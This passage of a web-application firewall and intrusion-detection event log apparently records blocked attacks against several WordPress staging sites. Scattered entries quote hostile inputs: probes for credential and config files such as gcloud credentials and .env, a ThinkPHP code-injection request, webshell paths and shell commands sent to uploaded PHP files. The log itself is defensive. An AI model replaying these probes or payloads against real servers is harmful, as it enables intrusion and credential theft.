name: IM360 WAF: Bad file extension
abuser: 124.120.201.185
country_id: 1605651
domain: netubia.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:netubiatrangotec||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 31.223.144.25
country_id: 3277605
domain: lovingheart.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/config/master.key||User:lovinghearttrang||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 31.223.144.25
country_id: 3277605
domain: lovingheart.trangotech.dev
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.21||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 31.223.144.25
country_id: 3277605
domain: lovingheart.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||User:lovinghearttrang||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 180.254.28.43
country_id: 1643084
domain: javajet.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/root/.config/gcloud/credentials.db||User:javajettrangotec||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 196.155.8.169
country_id: 357994
domain: cramar.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/config/master.key||User:cramartrangotech||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.134.27.206
country_id: 1210997
domain: constructionconnect.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/root/.config/gcloud/credentials.db||User:constructionconn||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 182.8.225.42
country_id: 1643084
domain: kingdom.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:kingdomtrangotec||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 105.155.225.93
country_id: 2542007
domain: kingdom.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||User:kingdomtrangotec||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 180.252.91.212
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.125.215
country_id: 6252001
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.254.76.66
country_id: 6252001
description:
47.254.76.66 - - [29/Jun/2026:19:45:33 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973587&pdata=https%253A%252F%252F38.95.35.74%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782776731 HTTP/2.0" 302 0 38.95.35.74 "https://38.95.35.74:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.254.76.66


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.252.87.172
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/ejlucde6wtu92z98ofc2/6egnbfqljrqspciqkrm1rCmass.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.202.222.32
country_id: 1210997
domain: nightlife.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/root/.config/gcloud/credentials.db||User:nightlifetrangot||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 158.140.173.122
country_id: 1643084
domain: shadow.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/root/.config/gcloud/credentials.db||User:shadowtrangotech||


plugin: modsec
rule: 77350559
name: IM360 WAF: Interaction with fake plugin
abuser: 136.66.165.63
country_id: 6252001
domain: cramar.trangotech.dev
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/custom-login-styler/cls-script.js||WPU:||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.220.101.189
country_id: 2921044
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=//think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.21.48.70
country_id: 6252001
domain: twogold.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.21||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.21||T:APACHE||MV:chmod 0777 .||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/p8lct0deuj8qjyqx0ujl/bijbyawplfhzvqkmtfdiitCdefault.php||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/p8lct0deuj8qjyqx0ujl/bijbyawplfhzvqkmtfdiitCdefault.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 152.42.137.70
country_id: 2750405
domain: express.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/wp-content/uploads/grid-gallery/cache/twig/11/phd_buttonsEN.php||SC:/home/expresstrangotec/public_html/wp-content/uploads/grid-gallery/cache/twig/11/phd_buttonsEN.php||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 152.42.137.70
country_id: 2750405
domain: express.trangotech.dev
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"99\", \"google chrome\";v=\"99\"||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 152.42.137.70
country_id: 2750405
domain: express.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/wp-content/uploads/grid-gallery/cache/twig/8b/usergroup_7.php||SC:/home/expresstrangotec/public_html/wp-content/uploads/grid-gallery/cache/twig/8b/usergroup_7.php||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 167.99.5.1
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"100\", \"google chrome\";v=\"100\"||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 30 04:49:05 staging sshd[3644405]: Accepted publickey for ansible from 192.168.0.89 port 34986 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 62.60.148.90
country_id: 3017382
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me?context=edit||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.148.90
country_id: 3017382
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.21||T:APACHE||MVN:ARGS:product_shipping_class||MV:-1||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Track upload attempt||MVN:ARGS:content||MV:The super strong Sydney paving system brings together the superior interlocking strength of the Industrial paver and a stunning contemporary design in one unparalleled combination. Manufactured from high strength concrete, they are exceptionally tough and can withstand extreme loads and high stress.||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Possible XSS in arguments||MV:<table class=\"table table-bordered\" style=\"height: 492px;\" width=\"1349\">\r\n<tbody>\r\n<tr>\r\n<td width=\"148\">name</td>\r\n<td width=\"110\">riverstone</td>\r\n</tr>\r\n<tr>\r\n<td rowspan=\"2\">length &amp; width (mm)</td>\r\n<td width=\"110\">415.7 x 400</td>\r\n</tr>\r\n<tr>\r\n<td width=\"110\">415.7 x 240</td>\r\n</tr>\r\n<tr>\r\n<td width=\"148\">thickness</td>\r\n<td width=\"110\">80mm</td>\r\n</tr>\r\n<tr>\r\n<td width=\"148\">application</td>\r\n<td width=\"110\">flooring</td>\r\n</tr>\r\n<tr>\r\n<td width=\"148\">texture</td>\r\n<td width=\"110\">stone finish</td>\r\n</tr>\r\n<tr>\r\n<td width=\"148\">layer per pack</td>\r\n<td width=\"110\">12</td>\r\n</tr>\r\n<tr>\r\n<td width=\"148\">sq.ft per pack</td>\r\n<td width=\"110\">86.76</td>\r\n</tr>\r\n<tr>\r\n<td width=\"148\">weight per pack</td>\r\n<td width=\"110\">1450.kg</td>\r\n</tr>\r\n</tbody>\r\n</table>||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 101.99.88.90
country_id: 1733045
domain: staging.marktechfusion.com
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.21||T:APACHE||MV:chmod 0777 .||SC:/home/stagingmarktech/public_html/BsMPQ6Wavdefault.php||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 101.99.88.90
country_id: 1733045
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/stagingmarktech/public_html/BsMPQ6Wavdefault.php||User:stagingmarktech||WPU:||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 30 07:03:06 staging sshd[3696404]: Accepted publickey for ansible from 192.168.0.89 port 40548 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.251.181.76
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/NS45at5LzxYcusM/NS45at5LzxYcusMmas.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 67.180.57.76
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 80.94.95.211
country_id: 798549
domain: 38.95.35.74:443
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app_dev.php/_profiler/.env||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/ejlucde6wtu92z98ofc2/6egnbfqljrqspciqkrm1rCdefault.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.21||T:APACHE||MV:chmod 0777 .||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/ejlucde6wtu92z98ofc2/6egnbfqljrqspciqkrm1rCdefault.php||


plugin: modsec
rule: 77350559
name: IM360 WAF: Interaction with fake plugin
abuser: 149.50.96.188
country_id: 798544
domain: cramar.trangotech.dev
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/content-blocker/cb-script.js||WPU:||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.122.147.229
country_id: 6252001
domain: cramar.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/125.0.6422.60 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Track upload attempt||MVN:ARGS:data[wp_autosave][content]||MV:Concrete fountains are beautiful and durable water features that enhance the aesthetics of any outdoor space. They are typically made using a combination of concrete and other materials.\n\nConcrete fountains require a water supply and a pump system for proper circulation. The pump is responsible for pushing the water from the reservoir or basin to the top of the fountain, creating the desired water flow and sound.\n\nConcrete fountains provide a beautiful focal point and a soothing water feature for both outdoor and indoor spaces such as gardens, patios, courtyards, offices or public areas. Their durability and versatility make them a popular choice among homeowners, landscapers, and designers.||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Track upload attempt||MVN:ARGS:content||MV:Concrete fountains are beautiful and durable water features that enhance the aesthetics of any outdoor space. They are typically made using a combination of concrete and other materials. Concrete fountains require a water supply and a pump system for proper circulation. The pump is responsible for pushing the water from the reservoir or basin to the top of the fountain, creating the desired water flow and sound. Concrete fountains provide a beautiful focal point and a soothing water feature for both outdoor and indoor spaces such as gardens, patios, courtyards, offices or public areas. Their durability and versatility make them a popular choice among homeowners, landscapers, and designers.||RSV:8.21||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  1 05:12:52 staging sshd[4081293]: Accepted publickey for ansible from 192.168.0.89 port 54732 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  1 06:30:34 staging sshd[4121058]: Accepted publickey for ansible from 192.168.0.89 port 45374 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77142108
name: IM360 WAF: Directory traversal via plugin for WordPress
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Directory traversal via plugin for WordPress||RSV:8.21||T:APACHE||MV:<picture><source type=\"image/webp\" srcset=\"https://magnacrete.trangotech.dev/wp-content/plugins/woocommerce-ajax-filters/berocket/includes/../assets/images/Thank-you.webp\" alt=\"Feature Request\"><img src=\"https://berocket.com/images/plugin/Thank-you.png\" style=\"width: 100%;\" alt=\"Feature Request\"></picture><h3 class=\"berocket_thank_you_rate_us\">Each good feedback is very important for plugin growth</h3>||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Track upload attempt||MVN:ARGS:data[wp_autosave][content]||MV:<p class=\"product-page__introduction\">Pedestals have been designed to create a structurally robust \xe2\x80\x98floating floor\xe2\x80\x99 system which is ideal for use with all terrazzo paving and dublin paver Ideal for use on terraces, balconies and patio makeovers where a stable base is already present.\n\nPedestals are a robust laying solution that provides even weight distribution, spreading the load evenly across the base material.\n\nWith no fixings required, pedestals are an incredibly quick and easy way to refresh your outdoor space. Pedestals are compatible with the full range of terrazzo paving and dublin paver.</p>\n\n<ul class=\"product-page__features tick-list\">\n \t<li class=\"tick-list__item\">Create your ideal outdoor space with two different products available to suit any project</li>\n \t<li class=\"tick-list__item\">For use on roof terraces, balconies and patio makeovers</li>\n \t<li class=\"tick-list__item\">Enjoy your new space in no time \xe2\x80\x93 pedestals are easy to install with no fixing required</li>\n \t<li class=\"tick-list__item\">Avoid damage to your base material, each pedestal has water drainage holes to prevent moisture build up</li>\n \t<li class=\"tick-list__item\">Use of pedestals also allows you to conceal any wiring and water pipes etc. In case of future repairs the tiles can be easily removed and reinstalled</li>\n</ul>||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 110.93.247.42
country_id: 1168579
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Track upload attempt||MVN:ARGS:content||MV:<p class=\"product-page__introduction\">Pedestals have been designed to create a structurally robust \xe2\x80\x98floating floor\xe2\x80\x99 system which is ideal for use with all terrazzo paving and dublin paver Ideal for use on terraces, balconies and patio makeovers where a stable base is already present.\r\n\r\nPedestals are a robust laying solution that provides even weight distribution, spreading the load evenly across the base material.\r\n\r\nWith no fixings required, pedestals are an incredibly quick and easy way to refresh your outdoor space. Pedestals are compatible with the full range of terrazzo paving and dublin paver.</p>\r\n\r\n<ul class=\"product-page__features tick-list\">\r\n \t<li class=\"tick-list__item\">Create your ideal outdoor space with two different products available to suit any project</li>\r\n \t<li class=\"tick-list__item\">For use on roof terraces, balconies and patio makeovers</li>\r\n \t<li class=\"tick-list__item\">Enjoy your new space in no time \xe2\x80\x93 pedestals are easy to install with no fixing required</li>\r\n \t<li class=\"tick-list__item\">Avoid damage to your base material, each pedestal has water drainage holes to prevent moisture build up</li>\r\n \t<li class=\"tick-list__item\">Use of pedestals also allows you to conceal any wiring and water pipes etc. In case of future repairs the tiles can be easily removed and reinstalled</li>\r\n</ul>||RSV:8.21||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  1 07:29:04 staging sshd[4144475]: Accepted publickey for ansible from 192.168.0.89 port 45622 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  1 07:41:49 staging sshd[4154919]: Accepted publickey for ansible from 192.168.0.89 port 43452 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  1 07:48:54 staging sshd[4163787]: Accepted publickey for ansible from 192.168.0.89 port 55606 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  1 08:11:14 staging sshd[4178886]: Accepted publickey for ansible from 192.168.0.89 port 50166 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  1 08:33:00 staging sshd[4193257]: Accepted publickey for ansible from 192.168.0.89 port 46298 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.59
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=9btzw7so&v=76la2||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 78.142.18.172
country_id: 732800
domain: boat.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 78.142.18.172
country_id: 732800
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 27.71.16.235
country_id: 1562822
domain: argate.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 43.252.215.229
country_id: 1733045
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.170.123.175
country_id: 1562822
domain: volta.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.57.220.144
country_id: 1562822
domain: pics2report.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.22.223
country_id: 1880251
domain: terrazzo.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 148.113.47.200
country_id: 1269750
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 87.106.77.124
country_id: 2921044
domain: cruzmeweb.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 87.106.77.124
country_id: 2921044
domain: cruzmeweb.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 182.93.93.93
country_id: 1282988
domain: shustle.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 167.71.227.158
country_id: 1269750
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 154.0.163.155
country_id: 953987
domain: pics2report.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 167.233.44.241
country_id: 2921044
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.170.123.175
country_id: 1562822
domain: cramar.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 86.238.109.28
country_id: 3017382
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.11.183.114
country_id: 6252001
domain: shadow.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77350207
